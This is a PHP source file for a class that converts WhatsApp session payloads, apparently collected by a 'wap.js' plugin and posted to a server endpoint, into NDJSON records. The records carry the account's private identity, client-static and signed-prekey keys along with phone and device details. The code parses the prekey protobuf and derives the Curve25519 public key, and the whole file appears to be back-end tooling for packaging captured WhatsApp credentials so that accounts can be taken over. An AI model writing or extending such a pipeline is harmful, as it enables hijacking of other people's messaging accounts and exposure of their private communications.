hashbro
251 lines
8.3 KiB
PHP
251 lines
8.3 KiB
PHP
<?php
|
|
|
|
namespace App\Support;
|
|
|
|
use App\Models\Device;
|
|
use App\Models\PluginSession;
|
|
|
|
/**
|
|
* Convert a wap.js WhatsApp session payload (xxbb family, POST /api/wp/t)
|
|
* into the 26-field NDJSON record format used by chk.ts native output
|
|
* (the __ws.txt format: one JSON object per line, fixed key order).
|
|
*
|
|
* Field coverage vs chk.ts native output:
|
|
* - 21/26 directly from wap.js payload
|
|
* - 1 derived (clientStaticPublicKey via libsodium curve25519)
|
|
* - 5 empty (cc/country/language/mnc/deviceUUID — wap.js does not collect)
|
|
*
|
|
* cc / country / in are inferred from the bare phone number via
|
|
* {@see CountryCallingCode}; device.country (CF-IPCountry) is used as a
|
|
* cross-check fallback when the phone-prefix lookup is ambiguous.
|
|
*/
|
|
final class WsPayloadConverter
|
|
{
|
|
/** Fixed key order matching __ws.txt / chk.ts native output. */
|
|
private const FIELD_ORDER = [
|
|
'cc', 'clientStaticPrivateKey', 'clientStaticPublicKey', 'country',
|
|
'device', 'deviceUUID', 'identityPrivateKey', 'identityPublicKey',
|
|
'in', 'jid', 'language', 'manufacturer', 'mcc', 'mnc',
|
|
'osBuildNumber', 'osVersion', 'phone', 'phoneUUID', 'registrationID',
|
|
'roProductBoard', 'roProductDevice', 'signPreKeyID',
|
|
'signPreKeyPrivateKey', 'signPreKeyPublicKey', 'signPreKeySignature',
|
|
'whatsappVersion',
|
|
];
|
|
|
|
/**
|
|
* Convert one PluginSession (kind=WHATSAPP) into a 26-field record.
|
|
* Returns null when the payload lacks the minimum key material.
|
|
*
|
|
* @return array<string, mixed>|null
|
|
*/
|
|
public function convert(PluginSession $session, ?Device $device = null): ?array
|
|
{
|
|
$blob = $session->fullPayload();
|
|
if (!is_array($blob)) {
|
|
return null;
|
|
}
|
|
|
|
$pks = $blob['phoneKeyStore'] ?? null;
|
|
$ident = is_array($pks) ? ($pks['identity'] ?? null) : null;
|
|
$spkHex = is_array($pks) ? ($pks['signedPreKey']['hexKey'] ?? null) : null;
|
|
$csB64 = $blob['clientStaticKeypairBase64'] ?? null;
|
|
|
|
if (!is_array($ident) || !is_string($spkHex ?? null) || !is_string($csB64 ?? null)) {
|
|
return null;
|
|
}
|
|
|
|
$phone = $this->stringOf($blob['userId'] ?? $blob['account'] ?? null);
|
|
$dc = is_array($blob['deviceConfig'] ?? null) ? $blob['deviceConfig'] : [];
|
|
|
|
[$cc, $country] = $this->inferCcCountry($phone, $device);
|
|
$in = $cc !== '' && str_starts_with($phone, $cc)
|
|
? substr($phone, strlen($cc))
|
|
: $phone;
|
|
|
|
$identPub = $this->hexToBytes($ident['hexPublic'] ?? '');
|
|
$identPriv = $this->hexToBytes($ident['hexPrivate'] ?? '');
|
|
$spk = $this->parseSignedPreKey($spkHex);
|
|
$csPriv = base64_decode((string) $csB64, true) ?: '';
|
|
$csPub = $this->deriveCurve25519Public($csPriv);
|
|
|
|
$record = [
|
|
'cc' => $cc,
|
|
'clientStaticPrivateKey' => $this->b64($csPriv),
|
|
'clientStaticPublicKey' => $this->b64($csPub),
|
|
'country' => $country,
|
|
'device' => $this->stringOf($dc['model'] ?? $dc['device'] ?? null),
|
|
'deviceUUID' => '',
|
|
'identityPrivateKey' => $this->b64($identPriv),
|
|
'identityPublicKey' => $this->b64($identPub),
|
|
'in' => $in,
|
|
'jid' => $phone,
|
|
'language' => '',
|
|
'manufacturer' => $this->stringOf($dc['brand'] ?? null) ?: 'Apple',
|
|
'mcc' => $this->stringOf($dc['sim_operator'] ?? null),
|
|
'mnc' => '',
|
|
'osBuildNumber' => $this->stringOf($dc['display'] ?? null),
|
|
'osVersion' => $this->stringOf($dc['sdk_release'] ?? null),
|
|
'phone' => $phone,
|
|
'phoneUUID' => $this->stringOf($blob['phoneId'] ?? null),
|
|
'registrationID' => (int) ($ident['registration_id'] ?? 0),
|
|
'roProductBoard' => $this->stringOf($dc['board'] ?? null),
|
|
'roProductDevice' => $this->stringOf($dc['device'] ?? null),
|
|
'signPreKeyID' => $spk['id'] ?? 0,
|
|
'signPreKeyPrivateKey' => $this->b64($spk['priv'] ?? ''),
|
|
'signPreKeyPublicKey' => $this->b64($spk['pub'] ?? ''),
|
|
'signPreKeySignature' => $this->b64($spk['sig'] ?? ''),
|
|
'whatsappVersion' => $this->stringOf($blob['whatsappVersion'] ?? $blob['version'] ?? null),
|
|
];
|
|
|
|
// Enforce fixed key order.
|
|
$ordered = [];
|
|
foreach (self::FIELD_ORDER as $k) {
|
|
$ordered[$k] = $record[$k] ?? '';
|
|
}
|
|
|
|
return $ordered;
|
|
}
|
|
|
|
/** One NDJSON line (no trailing newline). */
|
|
public function convertToLine(PluginSession $session, ?Device $device = null): ?string
|
|
{
|
|
$rec = $this->convert($session, $device);
|
|
if ($rec === null) {
|
|
return null;
|
|
}
|
|
$json = json_encode($rec, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
|
|
|
return $json === false ? null : $json;
|
|
}
|
|
|
|
/**
|
|
* @return array{cc:string, country:string}
|
|
*/
|
|
private function inferCcCountry(string $phone, ?Device $device): array
|
|
{
|
|
if ($phone !== '') {
|
|
[$cc, $country] = CountryCallingCode::inferFromPhone($phone);
|
|
if ($cc !== '') {
|
|
return [$cc, $country];
|
|
}
|
|
}
|
|
// Fallback: device.country (CF-IPCountry ISO code) -> calling code.
|
|
if ($device !== null) {
|
|
$iso = strtoupper(trim((string) $device->country));
|
|
$cc = CountryCallingCode::callingCodeForCountry($iso);
|
|
if ($cc !== null) {
|
|
return [$cc, $iso];
|
|
}
|
|
}
|
|
|
|
return ['', ''];
|
|
}
|
|
|
|
/**
|
|
* Parse signedPreKey.hexKey protobuf:
|
|
* field 1 (varint) = prekey_id
|
|
* field 2 (bytes) = public key (33 bytes, 05 prefix)
|
|
* field 3 (bytes) = private key (32 bytes)
|
|
* field 4 (bytes) = signature (64 bytes)
|
|
*
|
|
* @return array{id:int, pub:string, priv:string, sig:string}
|
|
*/
|
|
private function parseSignedPreKey(string $hex): array
|
|
{
|
|
$d = $this->hexToBytes($hex);
|
|
$out = ['id' => 0, 'pub' => '', 'priv' => '', 'sig' => ''];
|
|
$o = 0;
|
|
$n = strlen($d);
|
|
while ($o < $n) {
|
|
[$tag, $o] = $this->readVarint($d, $o);
|
|
$field = $tag >> 3;
|
|
$wire = $tag & 7;
|
|
if ($wire === 0) {
|
|
[$v, $o] = $this->readVarint($d, $o);
|
|
if ($field === 1) {
|
|
$out['id'] = (int) $v;
|
|
}
|
|
} elseif ($wire === 2) {
|
|
[$ln, $o] = $this->readVarint($d, $o);
|
|
$v = substr($d, $o, $ln);
|
|
$o += $ln;
|
|
if ($field === 2) {
|
|
$out['pub'] = $v;
|
|
} elseif ($field === 3) {
|
|
$out['priv'] = $v;
|
|
} elseif ($field === 4) {
|
|
$out['sig'] = $v;
|
|
}
|
|
} elseif ($wire === 1) {
|
|
$o += 8;
|
|
} elseif ($wire === 5) {
|
|
$o += 4;
|
|
} else {
|
|
break;
|
|
}
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
|
|
/** Curve25519 public key from a 32-byte private key (libsodium). */
|
|
private function deriveCurve25519Public(string $priv): string
|
|
{
|
|
if (strlen($priv) !== 32) {
|
|
return '';
|
|
}
|
|
try {
|
|
return sodium_crypto_box_publickey_from_secretkey($priv);
|
|
} catch (\SodiumException $e) {
|
|
return '';
|
|
}
|
|
}
|
|
|
|
/** @return array{0:int, 1:int} */
|
|
private function readVarint(string $d, int $o): array
|
|
{
|
|
$v = 0;
|
|
$s = 0;
|
|
while ($o < strlen($d)) {
|
|
$b = ord($d[$o]);
|
|
$o++;
|
|
$v |= ($b & 0x7f) << $s;
|
|
if (($b & 0x80) === 0) {
|
|
break;
|
|
}
|
|
$s += 7;
|
|
}
|
|
|
|
return [$v, $o];
|
|
}
|
|
|
|
private function hexToBytes(string $hex): string
|
|
{
|
|
$hex = preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '';
|
|
if ($hex === '' || strlen($hex) % 2 !== 0) {
|
|
return '';
|
|
}
|
|
|
|
return hex2bin($hex) ?: '';
|
|
}
|
|
|
|
private function b64(string $bytes): string
|
|
{
|
|
return $bytes === '' ? '' : base64_encode($bytes);
|
|
}
|
|
|
|
private function stringOf(mixed $v): string
|
|
{
|
|
if (is_int($v) || is_float($v)) {
|
|
return (string) $v;
|
|
}
|
|
if (is_string($v)) {
|
|
$v = trim($v);
|
|
|
|
return $v;
|
|
}
|
|
|
|
return '';
|
|
}
|
|
}
|